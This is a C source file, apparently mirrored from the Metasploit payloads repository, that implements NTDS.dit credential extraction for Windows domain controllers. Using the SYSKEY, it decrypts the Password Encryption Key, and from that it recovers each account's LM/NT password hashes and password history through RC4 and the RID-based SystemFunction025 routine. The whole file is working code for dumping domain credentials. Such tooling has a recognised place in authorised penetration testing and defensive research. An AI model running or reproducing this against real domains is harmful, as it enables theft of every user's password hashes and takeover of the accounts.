1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-18 15:14:10 +01:00
2020-06-25 10:31:53 +10:00

210 lines
7.7 KiB
C

/*!
* @file ntds_decrypt.c
* @brief Definitions for NTDS decryption functions
*/
#include "extapi.h"
#include <inttypes.h>
#include <wincrypt.h>
#include "syskey.h"
#include "ntds_decrypt.h"
#include "ntds_jet.h"
#include "ntds.h"
/*!
* @brief Convert bytes into a Hex string representing those bytes.
* @param data Pointer to the byte array we are converting
* @param length Integer representing the length of the byte array
* @param output Pointer to the string we are outputting the result to
*/
void bytes_to_string(LPBYTE data, unsigned int length, LPSTR output)
{
for (unsigned int i = 0; i < length; i++) {
sprintf_s(output + (i *2), 3, "%02X", ((LPBYTE)data)[i]);
}
}
/*!
* @brief Decrypt an encrypted LM or NT Hash.
* @param encryptedNTLM Pointer to an encryptedhash struct for the LM or NT hash we wish to decrypt.
* @param pekDecrypted Pointer to a decryptedPEK structure that holds our decrypted PEK
* @param hashString Pointer to the string where we will store the decrypted hash
* @param rid DWORD representing the Relative ID(RID) of the account
* @returns Indication of sucess or failure.
*/
BOOL decrypt_hash(struct encryptedHash *encryptedNTLM,
struct decryptedPEK *pekDecrypted, char *hashString, DWORD rid)
{
BOOL cryptOK = FALSE;
BYTE encHashData[NULL_TERMINATED_HASH_LENGTH] = { 0 };
BYTE decHash[NULL_TERMINATED_HASH_LENGTH] = { 0 };
memcpy(&encHashData, &encryptedNTLM->encryptedHash, HASH_LENGTH_BYTES);
cryptOK = decrypt_rc4(pekDecrypted->pekKey, encryptedNTLM->keyMaterial, encHashData, 1, HASH_LENGTH_BYTES);
if (!cryptOK) {
return FALSE;
}
cryptOK = decrypt_hash_from_rid(encHashData, &rid, decHash);
if (!cryptOK) {
return FALSE;
}
bytes_to_string(decHash, HASH_LENGTH_BYTES, hashString);
return TRUE;
}
/*!
* @brief Wraps SystemFunction025 which decrypts a hash using the RID
* @param encodedHash Pointer to a byte array containing the encrypted hash
* @param rid Pointer to a DWORD containing the Relative ID(RID)
* @param decodedHash Pointer to where we store the decrypted hash
* @returns Indication of sucess or failure.
*/
BOOL decrypt_hash_from_rid(LPBYTE encodedHash, LPDWORD rid, LPBYTE decodedHash)
{
typedef NTSTATUS(__stdcall *PSYS25)(IN LPCBYTE data, IN LPDWORD key, OUT LPBYTE output);
HMODULE hAdvapi = LoadLibrary("advapi32.dll");
if (hAdvapi == NULL) {
return FALSE;
}
PSYS25 decryptFromRID = (PSYS25)GetProcAddress(hAdvapi, "SystemFunction025");
if (decryptFromRID(encodedHash, rid, decodedHash) != 0) {
return FALSE;
}
return TRUE;
}
/*!
* @brief Splits up an encrypted LM or NT hash history and decrypts each stored hash
* @param encHashHistory Pointer to the byte array containing the hash history record
* @param sizeHistory The size of the history record
* @param pekDecrypted Pointer to a decryptedPEK structure that holds our decrypted PEK
* @param rid DWORD representing the Relative ID(RID) of the account
* @param accountHistory Pointer to a string wherewe store all the decrypted historical hashes
* @param historyCount Pointer to n integer where we store a count of the historical hashes
* @returns Indication of sucess or failure.
*/
BOOL decrypt_hash_history(LPBYTE encHashHistory, size_t sizeHistory,
struct decryptedPEK *pekDecrypted, DWORD rid, char *accountHistory, unsigned int *historyCount)
{
BOOL cryptOK = FALSE;
unsigned int sizeHistoryData = (unsigned int)sizeHistory - 24;
unsigned int numHashes = (sizeHistoryData / HASH_LENGTH_BYTES);
memcpy(historyCount, &numHashes, sizeof(historyCount));
LPBYTE encHistoryData = (LPBYTE)calloc(1,sizeHistoryData);
LPBYTE decHistoryData = (LPBYTE)calloc(1,(sizeHistoryData * 2));
memcpy(encHistoryData, encHashHistory + 24, sizeHistoryData);
cryptOK = decrypt_rc4(pekDecrypted->pekKey, encHashHistory + 8, encHistoryData, 1, sizeHistoryData);
if (!cryptOK) {
free(encHistoryData);
free(decHistoryData);
return FALSE;
}
LPBYTE historicalHash = encHistoryData;
LPBYTE writeMarker = decHistoryData;
for (unsigned int i = 0; i < numHashes; i++) {
BYTE decHash[HASH_LENGTH_BYTES];
char hashString[NULL_TERMINATED_HASH_STRING_LENGTH] = { 0 };
cryptOK = decrypt_hash_from_rid(historicalHash, &rid, decHash);
if (!cryptOK) {
return FALSE;
}
bytes_to_string(decHash, HASH_LENGTH_BYTES, hashString);
strncpy_s(writeMarker, NULL_TERMINATED_HASH_STRING_LENGTH, hashString, NULL_TERMINATED_HASH_STRING_LENGTH - 1);
historicalHash = historicalHash + HASH_LENGTH_BYTES;
writeMarker = writeMarker + NULL_TERMINATED_HASH_STRING_LENGTH;
}
memcpy(accountHistory, decHistoryData, (numHashes * NULL_TERMINATED_HASH_STRING_LENGTH));
free(encHistoryData);
free(decHistoryData);
return TRUE;
}
/*!
* @brief Decrypts the Password Encryption Key(PEK)
* @param sysKey Pointer to the string holding the SYSKEY
* @param pekEncrypted Pointer to an encryptedPEK struct containing our PEK to be decrypted
* @param pekDecrypted Pointer to the decryptedPEK struct where we will store our decrypted PEK
* @returns Indication of sucess or failure.
*/
BOOL decrypt_PEK(unsigned char *sysKey, struct encryptedPEK *pekEncrypted, struct decryptedPEK *pekDecrypted)
{
BOOL cryptOK = FALSE;
BYTE pekData[52] = { 0 };
memcpy(&pekData, &pekEncrypted->pekData, sizeof(struct decryptedPEK));
cryptOK = decrypt_rc4(sysKey, pekEncrypted->keyMaterial, pekData, 1000, sizeof(struct decryptedPEK));
if (!cryptOK) {
return FALSE;
}
memcpy(pekDecrypted, &pekData, sizeof(struct decryptedPEK));
return TRUE;
}
/*!
* @brief Takes key material and ciphertext and perform an rc4 decryption routine,
* @param key1 Pointer to a string containing the first set of key material
* @param key2 Pointer to a string containing the second set of key material
* @param encrypted Pointer to a byte array containing the ciphertext
* @param iterations How many times to add key2 to the md5 Hash to generate the rc4 key
* @param lenBuffer the length of our output buffer
* @returns Indication of sucess or failure.
*/
BOOL decrypt_rc4(unsigned char *key1, unsigned char *key2, LPBYTE encrypted,
unsigned int hashIterations, DWORD lenBuffer)
{
BOOL cryptOK = FALSE;
HCRYPTPROV hProv = 0;
HCRYPTHASH hHash = 0;
DWORD md5Len = 16;
unsigned char rc4Key[HASH_LENGTH_BYTES];
HCRYPTKEY rc4KeyFinal;
cryptOK = CryptAcquireContext(&hProv, 0, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
if (!cryptOK) {
return FALSE;
}
cryptOK = CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash);
if (!cryptOK) {
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return FALSE;
}
cryptOK = CryptHashData(hHash, key1, HASH_LENGTH_BYTES, 0);
if (!cryptOK) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return FALSE;
}
for (unsigned int i = 0; i < hashIterations; i++) {
cryptOK = CryptHashData(hHash, key2, HASH_LENGTH_BYTES, 0);
if (!cryptOK) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return FALSE;
}
}
cryptOK = CryptGetHashParam(hHash, HP_HASHVAL, rc4Key, &md5Len, 0);
if (!cryptOK) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return FALSE;
}
cryptOK = CryptDeriveKey(hProv, CALG_RC4, hHash, 0, &rc4KeyFinal);
if (!cryptOK) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return FALSE;
}
cryptOK = CryptEncrypt(rc4KeyFinal, (HCRYPTHASH)NULL, TRUE, 0, encrypted, &lenBuffer, lenBuffer);
if (!cryptOK) {
CryptDestroyKey(rc4KeyFinal);
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return FALSE;
}
// Clean up after ourselves
CryptDestroyKey(rc4KeyFinal);
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, (ULONG_PTR)NULL);
return TRUE;
}